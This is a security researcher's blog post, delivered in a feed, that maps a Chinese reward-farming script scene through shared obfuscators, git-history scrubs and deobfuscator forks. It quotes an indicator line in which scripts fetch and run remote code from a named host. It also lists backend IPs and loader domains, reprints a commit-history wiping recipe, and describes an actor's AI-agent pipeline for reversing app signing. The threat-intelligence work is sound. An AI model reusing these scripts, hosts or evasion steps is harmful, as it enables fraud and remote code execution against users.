<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://neurowinter.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://neurowinter.com/" rel="alternate" type="text/html" /><updated>2026-07-29T13:39:13+12:00</updated><id>https://neurowinter.com/feed.xml</id><title type="html">Alex Manson</title><subtitle>Security researcher and SRE. Writing about vulnerability research, AI, and the practical stuff I figure out along the way.
</subtitle><author><name>Alex Manson</name></author><entry><title type="html">Sixteen strangers and a shared obfuscator: mapping the wool scene</title><link href="https://neurowinter.com/security/2026/07/28/the-cast-and-crew/" rel="alternate" type="text/html" title="Sixteen strangers and a shared obfuscator: mapping the wool scene" /><published>2026-07-28T00:00:00+12:00</published><updated>2026-07-28T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/07/28/the-cast-and-crew</id><content type="html" xml:base="https://neurowinter.com/security/2026/07/28/the-cast-and-crew/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>What looked like 16 independent authors is one shared tool stack. Custom
obfuscator helper variable names carry between accounts, four unrelated repos
target the same obscure mini program, every Unicom bot pulls device IDs from
the same Gitee file, and the git-history scrub recipe is published as a
how-to on one of the operators’ own blogs.</li>
  <li>These operators know GitHub is dangerous. One of them publishes a
how to on wiping your commit history, and the scene treats the scrub
as routine (we saw it in multiple places). It doesn’t save them: trying to
hide your tracks is itself a trace, and they guard the obvious surface (repo
contents, secrets) while leaving the structural one (fork graphs, delete
diffs) wide open. They defend the page, not the graph.</li>
  <li>The scene’s shared JS deobfuscator, <code class="language-plaintext highlighter-rouge">smallfawn/decode_action</code>, has
1,300+ forks. Every fork is a public git history of every script that
operator ever needed decoded, and the fork list itself is a directory
of who’s in the scene. Nobody meant it to be a signal. It is one
anyway, and it’s how I found actors the toolchain fingerprint missed.</li>
  <li>Sixteen actors is what I mapped, not a complete census. Handle -&gt; real person
is always <code class="language-plaintext highlighter-rouge">(inferred)</code>. I mapped operators and infrastructure, not
identities.</li>
</ul>

<hr />

<h2 id="terms-in-this-post">Terms in this post</h2>

<p>If you landed here mid-series,
<a href="/security/2026/06/23/a-weekend-in-the-wool/">the hub post</a> has the
whole picture and the full glossary. The load-bearing ones:</p>

<ul>
  <li><strong>OSINT</strong>: mapping a scene from public artifacts only, not from
touching anything live.</li>
  <li><strong>IOC</strong>: indicator of compromise. Any specific thing (domain, key,
filename, magic prefix, handle) unique enough to pivot on.</li>
  <li><strong>orphan-branch scrub</strong>: <code class="language-plaintext highlighter-rouge">git checkout --orphan ... &amp;&amp; push -f</code>.
Rewrites a repo’s whole history to erase a leaked secret. Also very
obviously <em>the thing</em> that happened.</li>
  <li><strong>device-ID pool</strong>: a shared list of spoofed device fingerprints. Every
bot pulls from the same file, so every user of these scripts presents
the same handful of “phones” to fraud detection.</li>
  <li><strong>ev2</strong>: the sealed payload format from
<a href="/security/2026/06/23/the-great-rust-wall/">part 2</a>. Opens with
the 12-char magic <code class="language-plaintext highlighter-rouge">|(LTm_R7mUd@</code>. That magic is one of my pivots.</li>
</ul>

<hr />

<h2 id="what-a-shared-cipher-actually-proves">What a shared cipher actually proves</h2>

<p>I already knew this was a scene, and not just a few kids messing around.
<a href="/security/2026/06/23/a-weekend-in-the-wool/">The first post</a> laid
the supply chain out end to end: operators writing the scripts,
wyourname renting DRM over the top, shared plumbing underneath, a
marketplace stitching it all together. What I didn’t have yet was hard,
code-level proof of <em>who was tied to who</em>. “This looks like a supply
chain” is a structural hunch. I wanted a fingerprint, and proof.</p>

<p>Here’s where the fingerprint turned up.</p>

<p>The <code class="language-plaintext highlighter-rouge">985Ming/qlk</code> repo has two hand rolled obfuscators. Not off the shelf, not
<code class="language-plaintext highlighter-rouge">jsjiami.com.v7</code>, not <code class="language-plaintext highlighter-rouge">sojson</code>, just private helpers with names like
<code class="language-plaintext highlighter-rouge">custom_subtract</code> and <code class="language-plaintext highlighter-rouge">xor_b85</code>. When youre rolling your own crypto you get to
name your own helpers, and names like those don’t turn up in a normal Python
codebase by accident. Obiligtory “Don’t roll your own crypto”.</p>

<p>Then they turned up in <code class="language-plaintext highlighter-rouge">xxwppp/2025</code>.</p>

<p><code class="language-plaintext highlighter-rouge">康师傅瓶盖1.3.py</code> uses the same subtract cipher. <code class="language-plaintext highlighter-rouge">王老吉签到1.0.py</code> uses
the same b85+XOR. Different account, different marketplace watermark,
same private crypto.</p>

<p>I want to be careful about what that does and doesn’t buy me, because
this is exactly the spot where this kind of work fools people. It is
<em>not</em> proof that qlk and xxwppp are the same hands, and it isn’t even
proof of who wrote either script. Remember what xxwppp does for a
living: they take other people’s plaintext and run it through their own
obfuscation before reselling it. In a scene that sells obfuscation as a
service, the toolchain is the most-shared thing in it, not the least. A
matching cipher might mean “same author”, or it might just mean “both
scripts went through the same laudnromat”, and I can’t split those apart
from the cipher alone.</p>

<p>What it <em>does</em> buy me is a signal, and that turns out to be the thing
worth having. Off the shelf obfuscators (<code class="language-plaintext highlighter-rouge">jsjiami.com.v7</code>, <code class="language-plaintext highlighter-rouge">sojson</code>)
mark nothing, everyone on earth runs those. A hand rolled
<code class="language-plaintext highlighter-rouge">custom_subtract</code> that shows up in no normal Python codebase is the
opposite: it only ever circulates <em>inside</em> this circle, so wherever it
turns up, that repo is inside the circle too. It doesn’t tell me who is
who. It tells me these accounts are all pulling from one shared tool
stack, which is the entire idea.</p>

<p>Everything past this point is me pulling on that thread. And the two moves that
did most of the work from here are both opsec own-goals: the traces these
operators left <em>while trying to cover them</em>, and the GitHub surfaces they never
thought to hide. They know the platform is dangerous. One of them, as you’ll
soon see, publishes a guide to scrubbing your repo. But the risk they’re
defending against is “someone reads my code”, not “the platform’s own structure
is a ledger”. They defend the page. They don’t defend the graph.</p>

<hr />

<h2 id="the-shared-toolchain">The shared toolchain</h2>

<p>Once you know to look for it, the fingerprints pile up fast:</p>

<ul>
  <li><strong>The custom obfuscators.</strong> <code class="language-plaintext highlighter-rouge">custom_subtract</code> and <code class="language-plaintext highlighter-rouge">xor_b85</code> tie qlk ↔
xxwppp.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">kozbs.com</code>.</strong> A niche WeChat mini-program (植白说) with obscure
integral shop endpoints, scripted by <em>four</em> independent authors:
qlk, Xx1aoy1, MCdasheng, KingJin. When a target this small shows up
four times, someone posted it in a private chat and the script
propagated.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">integralapi.kuwo.cn</code>.</strong> KuWo Music is in every primary farming repo
I looked at. Same <code class="language-plaintext highlighter-rouge">/v1/getWithdraw</code> endpoint across five of them.
Shared exploit, not five independent discoveries.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">script.345yun.cn</code>.</strong> xxwppp’s marketplace watermark travels with
sold scripts into sembrono’s and Xx1aoy1’s repos. Distribution, not
authorship. And the marketplace itself is a script laundering step:
someone writes a plaintext script (KingJin, leafTheFish), xxwppp
obfuscates it, watermarks it, resells it, aggregators re-host it
under their own names. Provenance is a mess by design.</li>
  <li>
    <p><strong>The shared device-ID pool.</strong> Every decrypted Unicom script pulls
from the <em>same</em> file:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://gitee.com/kele2233/genxin/raw/master/ydid.json
</code></pre></div>    </div>

    <p>Every bot, across every operator’s install, presents the same handful of
device IDs to China Unicom’s fraud detection. Which means the whole scene is
easier to catch than any single operator running their own pool would be.
Nobody wants to be the one who burns an afternoon generating a fresh pool,
though, so they all just inherit <code class="language-plaintext highlighter-rouge">kele2233</code>’s. Who I guess will generate more
if this set gets burnt</p>
  </li>
</ul>

<p>There’s a live remote execution thread running through this too, and
it’s worth flagging before I move on. Three xxwppp scripts
(<code class="language-plaintext highlighter-rouge">联通云手机.py</code>, <code class="language-plaintext highlighter-rouge">联通云盘.py</code>, <code class="language-plaintext highlighter-rouge">白鲸鱼旧衣服.py</code>) do this on every run:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">execute_code</span><span class="p">(</span><span class="n">main</span><span class="p">)</span>   <span class="c1"># pulls fresh code from git.365676.xyz
</span></code></pre></div></div>

<p>Every user of those scripts is running whatever <code class="language-plaintext highlighter-rouge">git.365676.xyz</code>
decides to serve that day. Silent auto update dressed up as a design
choice, and whoever controls that CDN (wyourname, from the DRM post)
can push arbitrary Python to every install without so much as a version
bump. Nobody’s checking, and nobody ever does.</p>

<p>Two operators can both ship <code class="language-plaintext highlighter-rouge">猫猫阅读.py</code>. Only one of them has the
<code class="language-plaintext highlighter-rouge">custom_subtract</code> helper that matches the tool stack that account has
been shipping for two years. That is the whole reason the fingerprint
pivots above can place a repo inside the circle, in a scene where the
scripts themselves get laundered a couple of hops before you ever read
them.</p>

<hr />

<h2 id="git-history-was-the-highest-payoff-move">Git history was the highest payoff move</h2>

<p>That’s the first of the two own goals, and it’s the one they actually
try to defend. Hiding your tracks leaves a trace. A deletion isn’t a
disappearance, it’s an event: git records that something was removed,
roughly when, and usually what, and all of it stays public long after
the thing itself is gone. A scrub is a diff.</p>

<p>Which is exactly why git history was the highest payoff move for me. People
only bother scrubbing what matters, so the deletions double as a map of where
the good stuff was. And sometimes the scrub does more than point: the act of
removing something can drag a load bearing fact from “probably” to “definitely”
on its own. Two examples.</p>

<h3 id="hasl1-how-a-scrub-converts-probably-real-into-definitely-real"><code class="language-plaintext highlighter-rouge">HASL1</code>: how a scrub converts “probably real” into “definitely real”</h3>

<p>From <a href="/security/2026/06/29/farming-the-farmers/">the smallfawn post</a>
the credential relay backend is <code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code>. A skeptical reader
should be asking whether that IP is a real backend or just a placeholder
someone forgot to fill in. The git history settles it, and it settles it
because smallfawn made the exact mistake everyone in this scene makes.</p>

<p>Three consecutive commits:</p>

<ul>
  <li><strong>2024-11-10</strong>: first commit ships
<code class="language-plaintext highlighter-rouge">"key": "HASL1", "server": "http://8.141.174.247:3000"</code>.</li>
  <li><strong>2024-11-11</strong>: scrubbed. Both replaced with placeholders
(<code class="language-plaintext highlighter-rouge">KEY</code>, <code class="language-plaintext highlighter-rouge">APIURL</code>).</li>
  <li><strong>2024-11-12</strong>: server address quietly re added, key left as <code class="language-plaintext highlighter-rouge">卡密</code>
(Access Code, literally the Chinese placeholder).</li>
</ul>

<p>You don’t scrub a value and then re add a placeholder. <code class="language-plaintext highlighter-rouge">HASL1</code> was a
working shared secret that sat in public for about a day, and the IP it
sat next to is the real backend. Left completely alone it would have
read as a credible IP next to a suspiciously literal key. The act of
scrubbing it is what converted “probably real” into “definitely real”.
They told me by trying not to.</p>

<h3 id="qltrojans-may-2024-wool-affiliation">qltrojan’s May 2024 wool affiliation</h3>

<p>Two scripts, <code class="language-plaintext highlighter-rouge">bilibili_play.py</code> and <code class="language-plaintext highlighter-rouge">qimao.py</code>, both created 2024-05-07
and deleted 2024-05-12. Both downloaded <code class="language-plaintext highlighter-rouge">.so</code> files from
<code class="language-plaintext highlighter-rouge">files.doudoudou.top</code> <strong>and</strong> <code class="language-plaintext highlighter-rouge">files.doudoudou.fun</code>. That five-day window
pins qltrojan’s wool affiliation to at least early May 2024, confirms
<code class="language-plaintext highlighter-rouge">.fun</code> was a live loader CDN alongside <code class="language-plaintext highlighter-rouge">.top</code>, and shows a deliberate
scrub of exactly the most obvious DRM-dependency evidence, one week in.</p>

<p>Someone looked at those two files, thought “I should get rid of those”,
and did. But they left enough of the surrounding tree in place that the
affiliation is still inferable from the launcher scripts they kept,
which is how I noticed the deletion in the first place.</p>

<hr />

<h2 id="they-wrote-the-how-to-themselves">They wrote the how-to themselves</h2>

<p>This is the one I want to highlight, because it’s the finding that made me
crack up.</p>

<p>Once you clock smallfawn, qltrojan, and leafTheFish (who wiped their
entire GitHub account) all pulling the same <code class="language-plaintext highlighter-rouge">orphan-branch; push -f</code>
move, you start wondering where they all learned it. Turns out you
don’t have to wonder. One of them just publishes it.</p>

<p>Actor 14 (xiaobaiweinuli, persona <code class="language-plaintext highlighter-rouge">星霜</code>/xingshuang) has a blog. On
that blog is a post literally titled <em>“删除github中的提交历史记录的
操作步骤”</em>, “steps to delete github commit history.” It walks through
the exact recipe:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git checkout --orphan latest_branch
git add -A
git commit -am "message"
git branch -D main
git branch -m main
git push -f origin main
</code></pre></div></div>

<p>This is the same recipe smallfawn used on <code class="language-plaintext highlighter-rouge">HASL1</code>. It’s the same recipe
qltrojan used to nuke <code class="language-plaintext highlighter-rouge">bilibili_play.py</code>. It’s what leafTheFish would have run
before nuking their whole account. The scrub is a scene rite of passage, and
the how to is documented as exactly that: not a buried private-group post, a
public blog with a permalink you can bookmark, and an author you can identify.</p>

<p>Xingshuang is a hobbyist, not a load-bearing operator. They run a wool
fork and a Qinglong panel off their home LAN. But the fact that <em>they</em>
are the one publishing the recipe is the interesting part: the tradecraft
isn’t secret, it’s common knowledge, taught operator to operator, with
the Chinese language security community around it writing the
walk throughs.</p>

<p>Which is the whole point, for my purposes. These operators are not
naive about GitHub. They know history is forever, they’ve got a shared
drill, and run book for wiping it, they treat the scrub as basic hygiene. So a
scrub isn’t a slip. It’s a decision, made by someone who knew the platform
remembers and acted on it. And a decision is signal in a way an accident never
is: when I find one, I’m not looking at someone who forgot, I’m looking at the
exact spot someone decided was worth hiding. <code class="language-plaintext highlighter-rouge">HASL1</code> is that. qltrojan’s
deleted loaders are that. The delete points at the thing.</p>

<p>Nice bit of OPSEC irony to close on, the blog whose entire reason for existing
is “delete your git history” is a walking counterexample to itself. Its other
pages leak enough about their author’s own identity and self hosted stack to
unwind precisely the anonymity the how to is meant to buy. They’ll teach you
how to erase your tracks on a site that plainly doesn’t take its own advice.
I’m not printing the specifics, doxing this person provides no value, but
that’s the finding in one line: the tradecraft and the self own live on the
same domain.</p>

<hr />

<h2 id="the-tool-that-doubles-as-a-register">The tool that doubles as a register</h2>

<p>Somebody in this scene built a JS deobfuscator that runs on GitHub
Actions, and I’ll say up front it’s a genuinely nice bit of kit. Fork
<code class="language-plaintext highlighter-rouge">smallfawn/decode_action</code>, push an obfuscated script to <code class="language-plaintext highlighter-rouge">input.js</code>, and
the CI pipeline hands you back the cleartext in <code class="language-plaintext highlighter-rouge">output.js</code>, right there
in your own repo. It eats jsjiami v5/v6/v7, obfuscator.io, sojson,
jjencode, jsconfuser, awsc for breakfast. Everything the scene throws around.
693 stars, 1,300+ forks. Free serverless decode infrastructure running on
GitHub’s own compute, and I mean that as a compliment.</p>

<p>It works. Which is exactly why the scene adopted it wholesale.</p>

<p>Here’s the part nobody stopped to think about, and it’s the second half
of the story. The scrub is what they do to the page. The fork list is
the graph they forgot was public.</p>

<p>Two things fall out of it. First, every time an operator decodes a
script through their fork, that transaction is a public git commit in
<em>their</em> fork. Every input, every output, every timestamp. The tool that
unhides the scene’s scripts is also a <strong>public timeline of which
operator needed which script decoded on which day.</strong> Second, and this
is the one that actually grew the map: the fork list is a directory.
1,300+ forks is 1,300+ accounts that reached for this tool, and walking
it is how I turned up actors who never showed in the helper name
fingerprint at all. The toolchain ties together the people you already
have. The fork list hands you the ones you don’t. Most of the extended
cluster in the closing section came from walking forks, not from
grepping helpers.</p>

<p>Three concrete fork profiles:</p>

<ul>
  <li>
    <p><strong>aini1351.</strong> Fork history reads as a tidy tooling progression, not
idle curiosity. August 2025: JD <code class="language-plaintext highlighter-rouge">const_id</code> anti-fraud token
generators. October 2025: qltrojan’s civic lottery scripts
(<code class="language-plaintext highlighter-rouge">DaChao.js</code> on 2025-10-08, <code class="language-plaintext highlighter-rouge">WangChao.js</code> on 2025-10-19, the
tmuyun/aihoge civic SaaS scripts from
<a href="/security/2026/07/16/forging-the-government-lottery/">post 4</a>).
May 2026: <code class="language-plaintext highlighter-rouge">今平湖</code> (another tmuyun civic app). June 2026: Panda
Earn. That’s not a hobbyist decoding one script for fun. That’s an
operator working through targets one at a time and leaving the
cleartext of every single one of them sitting public in their own
repo.</p>
  </li>
  <li>
    <p><strong>XiaoGe-LiBai.</strong> Not just a decode_action user. Also writes their
own Loon MITM plugins intercepting SF Express tokens
(<code class="language-plaintext highlighter-rouge">ccsp-egmas.sf-express.com</code>), Kuaishou <code class="language-plaintext highlighter-rouge">salt</code>/<code class="language-plaintext highlighter-rouge">cookie</code>/<code class="language-plaintext highlighter-rouge">kaw</code>
parameters (<code class="language-plaintext highlighter-rouge">api3.gifshow.com</code>, <code class="language-plaintext highlighter-rouge">az4-api.ksapisrv.com</code>), and
Domino’s Pizza China auth tokens (<code class="language-plaintext highlighter-rouge">game.dominos.com.cn</code>). The
decode_action fork is just one tool in a full farming operator’s
stack, sitting alongside a JD cookie-pool manager (<code class="language-plaintext highlighter-rouge">svjdck</code> fork)
and a custom Dockerfile. Their fork is basically a receipts drawer
left open.</p>
  </li>
  <li>
    <p><strong>ACSDSZ.</strong> The outlier, and the one I keep thinking about. Not a
farming operator at all, but a full AI-autonomous reverse
engineering pipeline. mitmproxy + Frida + jadx + apktool + a Qdrant
vector memory + a Claude-based agent (they call the framework
“Hermes”), all wired together over MCP servers. The docs claim they
reversed Douyin’s live room signing chain and Zhihu’s <code class="language-plaintext highlighter-rouge">x-zse-96</code>
(JSVMP + SM4 + bit-shuffle) in about 4.5 hours, at a Claude cost of
~¥24 (about 6NZD). Whether those specific reverses landed clean
isn’t really the point. What the setup <em>represents</em> is. The next
generation of this exact attack surface doesn’t look like a person
hand coding exploit scripts. It looks like an agent chewing on the
problem overnight and filing the results into a vector DB by morning.
Reversing new signing schemes is getting cheap, and that should
bother more people than it does.</p>

    <p>ACSDSZ also committed a live LLM API key and a live Qdrant API key straight
to the public repo. Both <code class="language-plaintext highlighter-rouge">(verified)</code> at time of analysis. I’ve described the
finding rather than reprinting the strings, for obvious reasons.</p>
  </li>
</ul>

<p>Three forks, three profiles, one deobfuscator. The whole scene reached
for the same tool because it’s free CI. Not one of them noticed they’d
also all signed the same public receipt.</p>

<hr />

<h2 id="the-other-half-of-the-scene-ios-iap-crackers">The other half of the scene: iOS IAP crackers</h2>

<p>Two operators run the iOS half on the same substrate but a completely
different attack surface.</p>

<p><strong>MCdasheng</strong>: ~80 QuantumultX scripts, half rehosted IAP crackers,
half original farming. Runs a polished BoxJs subscription. Their
<code class="language-plaintext highlighter-rouge">kuwo.cookie.js</code> MITMs a KuWo cookie on iOS and shoves it into
Qinglong via OpenAPI. iOS captures, Qinglong farms. That cookie.js +
Qinglong handoff is the bridge that stitches this half of the scene to
the other.</p>

<p><strong>Yu9191</strong>: 375 files, the largest iOS collection in the scene. A
GitHub Actions workflow commits <code class="language-plaintext highlighter-rouge">"update onetoken {ISO8601}"</code> every six
hours. <code class="language-plaintext highlighter-rouge">onetoken</code> is a subscription-validity marker, and a 6-hour commit
cadence at that scale isn’t a hobby, it’s a paid product with a customer
base big enough to justify the churn.</p>

<p>The <code class="language-plaintext highlighter-rouge">zbs.js</code> script targeting <code class="language-plaintext highlighter-rouge">kozbs.com</code> shows up on MCdasheng’s iOS
side too, which makes it the <em>fourth</em> independent hit on that one
mini-program. Shared targets don’t even respect the Android/iOS divide.</p>

<hr />

<h2 id="the-dead-ends">The dead ends</h2>

<p>Not every pivot pays off, and being straight up about the ones that didn’t is
the only thing that keeps you from fooling yourself about the ones that did.</p>

<ul>
  <li><strong>HAR library.</strong> <code class="language-plaintext highlighter-rouge">wjf0214/qd-templates</code> is a 656-star repo of captured
<code class="language-plaintext highlighter-rouge">.har</code> sign-in sessions. I got excited: if a wool subscriber ever
caught their own <code class="language-plaintext highlighter-rouge">common.so</code> phoning home, that traffic could be
sitting right there in a public HAR. So I grepped the whole tree for
every IOC I had: <code class="language-plaintext highlighter-rouge">doudoudou</code>, <code class="language-plaintext highlighter-rouge">365676</code>, <code class="language-plaintext highlighter-rouge">wyourname</code>, <code class="language-plaintext highlighter-rouge">1.94.146</code>,
<code class="language-plaintext highlighter-rouge">encData</code>, <code class="language-plaintext highlighter-rouge">VToken</code>. Zero hits. Different ecosystem entirely (QD
signin, forum bots, VPN dashboards). No overlap. Nice idea, no fruit.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">passerby-b/didi_fruit</code></strong>: listed in <code class="language-plaintext highlighter-rouge">Yiov/wool</code> as an
encrypted script source. 404 by the time I got there.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">gitlab.radish.today/root/script</code></strong>: self hosted GitLab
referenced by Meituan scripts. Unreachable. Dead infra, or it was
IP blocking me, and I couldn’t tell which from the outside.</li>
  <li><strong>The <code class="language-plaintext highlighter-rouge">181.94.146.238</code> false positive.</strong> A hit on
<code class="language-plaintext highlighter-rouge">bermanboris/blocklist-ipsets</code> that turned out to be <code class="language-plaintext highlighter-rouge">181.94.146.238</code>,
not <code class="language-plaintext highlighter-rouge">1.94.146.238</code>. One stray <code class="language-plaintext highlighter-rouge">1</code> in the wrong place. Caught it before
it made it into any notes, but the lesson’s worth keeping: substring
matching on IPs is not always correct, and you want proper regex boundaries
the moment the corpus gets this big.</li>
</ul>

<hr />

<h2 id="the-cast">The cast</h2>

<p>Sixteen actors after dedup (handles that turned out to be one operator are
merged). Every row is a handle, not a name: I’m mapping accounts, not the
people behind them.</p>

<table>
  <thead>
    <tr>
      <th>#</th>
      <th>Handle</th>
      <th>Role</th>
      <th>One distinguishing fact</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td><strong>wyourname</strong></td>
      <td>Wool DRM operator</td>
      <td>Only tier-2 DRM (Rust + C2-held AES key). The wall I never got past.</td>
    </tr>
    <tr>
      <td>2</td>
      <td>985Ming (大大鸣)</td>
      <td>Script author</td>
      <td>The seed. <code class="language-plaintext highlighter-rouge">985Ming/qlk</code> (292★) started the map. Custom <code class="language-plaintext highlighter-rouge">xor_b85</code> / <code class="language-plaintext highlighter-rouge">custom_subtract</code>.</td>
    </tr>
    <tr>
      <td>3</td>
      <td>xxwppp</td>
      <td>Commercial distributor</td>
      <td><code class="language-plaintext highlighter-rouge">script.345yun.cn</code> watermark. Sells obfuscated versions of others’ plaintext.</td>
    </tr>
    <tr>
      <td>4</td>
      <td>KingJin (<code class="language-plaintext highlighter-rouge">KingJin-web</code>)</td>
      <td>Operational farmer</td>
      <td>Working Ruishu bypass; concurrent multi-account with remote credential DB.</td>
    </tr>
    <tr>
      <td>5</td>
      <td>MCdasheng</td>
      <td>iOS IAP + farmer</td>
      <td>BoxJs subscription; MITM cookie capture bridges iOS into Qinglong.</td>
    </tr>
    <tr>
      <td>6</td>
      <td>Yu9191</td>
      <td>iOS subscription op</td>
      <td>375 files, <code class="language-plaintext highlighter-rouge">onetoken</code> 6-hour commit pipeline. Largest iOS collection.</td>
    </tr>
    <tr>
      <td>7</td>
      <td>Xx1aoy1</td>
      <td>Aggregator</td>
      <td>Sources from xxwppp; delete-if-banned operational hygiene visible in commit log.</td>
    </tr>
    <tr>
      <td>8</td>
      <td><strong>smallfawn</strong></td>
      <td>Toolsmith + credential theft</td>
      <td>152 repos, 3,176-star script collection, <code class="language-plaintext highlighter-rouge">decode_action</code> deobfuscator, plus the JD-login theft from post #3.</td>
    </tr>
    <tr>
      <td>9</td>
      <td>qltrojan (<code class="language-plaintext highlighter-rouge">xzxxn777</code>)</td>
      <td>Wool affiliate</td>
      <td>Direct wool subscriber since May 2024. Authors the civic-SaaS scripts from <a href="/security/2026/07/16/forging-the-government-lottery/">post 4</a>.</td>
    </tr>
    <tr>
      <td>10</td>
      <td>Aellyt</td>
      <td>Wool subscriber</td>
      <td>Unicom specialist; also runs a <em>second</em> DRM platform (<code class="language-plaintext highlighter-rouge">yphd</code>, Nuitka-packed) covered in <a href="/security/2026/06/23/the-great-rust-wall/">post 2</a>.</td>
    </tr>
    <tr>
      <td>11</td>
      <td>sembrono</td>
      <td>Aggregator</td>
      <td>Holds the plaintext original of a script wyourname later encrypted, same source.</td>
    </tr>
    <tr>
      <td>12</td>
      <td>aiimix7811</td>
      <td>Wool subscriber</td>
      <td>Small footprint (6 scripts), downloads <code class="language-plaintext highlighter-rouge">.so</code> from <code class="language-plaintext highlighter-rouge">files.doudoudou.top</code>.</td>
    </tr>
    <tr>
      <td>13</td>
      <td><strong>wd210010</strong></td>
      <td><strong>CLEAN <code class="language-plaintext highlighter-rouge">(verified)</code></strong></td>
      <td>Bilibili daily check-in only; forked <code class="language-plaintext highlighter-rouge">decode_action</code> but no fraud. Named so the roster isn’t a smear.</td>
    </tr>
    <tr>
      <td>14</td>
      <td>xiaobaiweinuli (<code class="language-plaintext highlighter-rouge">星霜</code>)</td>
      <td>Hobbyist + tradecraft</td>
      <td>Runs a wool fork, publishes the scrub recipe on their blog.</td>
    </tr>
    <tr>
      <td>15</td>
      <td>MQapple</td>
      <td>Intermediate fork</td>
      <td>Between wyourname and xiaobaiweinuli in the wool fork chain. No original content.</td>
    </tr>
    <tr>
      <td>16</td>
      <td>leafTheFish</td>
      <td>Independent T1 author</td>
      <td>40+ scripts, DeathNote repo. GitHub account now wiped; scripts survive in forks.</td>
    </tr>
  </tbody>
</table>

<p>Attribution note: proxy affiliate codes don’t imply shared identity.
985Ming uses <code class="language-plaintext highlighter-rouge">ipzan.com?pid=8ghr872u8</code>, KingJin uses
<code class="language-plaintext highlighter-rouge">gzsk5.com/?invitation=hnking2</code>. Different codes, different providers.
Handles are real accounts <em>for the tooling</em>, but a handle is not a
human. I did not doxx anyone.</p>

<hr />

<h2 id="platform-scope">Platform scope</h2>

<p>Between them the 16 actors target 130+ distinct platforms: music,
video, novels, telecom, banks, FMCG brands, and, the part that made me
worried in
<a href="/security/2026/07/16/forging-the-government-lottery/">the civic post</a>,
government and civic apps. Beijing 96156 social-services quizzes, a whole pile
of Zhejiang prefecture civic apps sharing tenant SaaS backends, and
<code class="language-plaintext highlighter-rouge">user.youth.cn</code> (China Youth Daily’s reading app, whose withdrawal binary I
reverse-engineered out of the wool <code class="language-plaintext highlighter-rouge">compatible</code> branch).</p>

<hr />

<h2 id="what-id-do-differently-next-time">What I’d do differently next time</h2>

<p>Three things that would have saved me a good chunk of time, if I were
starting this over on a fresh scene.</p>

<p>I spent most of the first day reading scripts, convinced that behaviour would
tell me who wrote what. It won’t. It didn’t. Scripts in a scene like this get
laundered: someone writes it plaintext, someone else obfuscates and resells it,
an aggregator re-hosts the obfuscated copy under their own name, and by the
time you’re squinting at it at 3am you’re two hops downstream of whoever actually
wrote it. What genuinely ties the accounts together is the plumbing, the
private helper function name, the specific URL for a device ID JSON, the exact
CDN domain buried in an <code class="language-plaintext highlighter-rouge">execute_code()</code> call. The behaviour gets copied
everywhere. The private plumbing only moves inside the circle. I should have
grepped for helper names before I read a single line of logic.</p>

<p>I also very nearly missed the scrub story, because I read the current
state of every config file and moved straight on. The <code class="language-plaintext highlighter-rouge">HASL1</code> finding
wasn’t in the current <code class="language-plaintext highlighter-rouge">config.json</code> at all, it was in a commit from
2024-11-10 that survived exactly one day. A config that goes “credible
value → placeholder → wait, half the credible value just came back” is
quietly telling you where the real backend lives. Scrubbing is louder
than not scrubbing. Read the sequence, not the state.</p>

<p>And the decode_action fork thing, I did find it, just far too late to
work it properly. If I’d walked those forks on day one instead of day
three, I’d have had aini1351’s entire target timeline in hand before I
was even done mapping qltrojan. Any tool in a scene that works by “fork
this repo, push your input, GitHub Actions writes the output back” is a
public log of what every one of its users needed processed and when.
Wallet checkers, jsvmp deobfuscators, sign-in frameworks, all of them.
The scene adopts them because they’re free CI. Nobody notices the
receipt.</p>

<hr />

<h2 id="where-it-stops">Where it stops</h2>

<p>Sixteen actors is what I <em>mapped</em>, not everyone in this scene. The engagement
was a weekend that ran long and a few days after to write these posts, and the
pivots happened to converge on a contiguous group after dedup. Extended
profiles out in the decode_action network (Ecalose, Rosylusi, Charles-Hello,
shufflewzc, ACSDSZ) I’ve noted but not fully worked.</p>

<p>Proxy affiliate codes don’t imply shared identity. Cross repo overlap on
obfuscators, keys, or device-ID pools shows <strong>shared source or toolchain</strong>, not
necessarily one operator behind two accounts. I want that line to hold even
when the overlap is tempting.</p>

<p><code class="language-plaintext highlighter-rouge">wd210010</code> is <code class="language-plaintext highlighter-rouge">(verified)</code> clean. If you’re reading this and you know
that handle, please don’t lump them in with the fraud actors, their
entire footprint is a Bilibili daily check-in and a <code class="language-plaintext highlighter-rouge">decode_action</code>
fork. That’s the whole story.</p>

<p>ACSDSZ committed real credentials; that part is <code class="language-plaintext highlighter-rouge">(verified)</code> straight
from the repo history. Republishing the strings would be dumb, so I
haven’t.</p>

<p>Fork git histories are <code class="language-plaintext highlighter-rouge">(verified)</code> from <code class="language-plaintext highlighter-rouge">--depth=1</code> clones plus
unshallow fetches. Commit author emails don’t always line up with GitHub
usernames, so where I’ve matched a fork operator to a specific script
set I’m confident, and where I’ve matched by fuzzy heuristic, that’s
flagged <code class="language-plaintext highlighter-rouge">(inferred)</code>.</p>

<hr />

<h2 id="resources">Resources</h2>

<ul>
  <li><a href="/security/2026/06/23/a-weekend-in-the-wool/">The hub post</a>: ecosystem overview + glossary.</li>
  <li><a href="/security/2026/06/23/the-wool-drm/">Post 1: the Cython DRM I cracked</a>.</li>
  <li><a href="/security/2026/06/23/the-great-rust-wall/">Post 2: the Rust wall I didn’t</a>.</li>
  <li><a href="/security/2026/06/29/farming-the-farmers/">Post 3: smallfawn farming the farmers</a>.</li>
  <li><a href="/security/2026/07/16/forging-the-government-lottery/">Post 4: forging the government’s lottery</a>.</li>
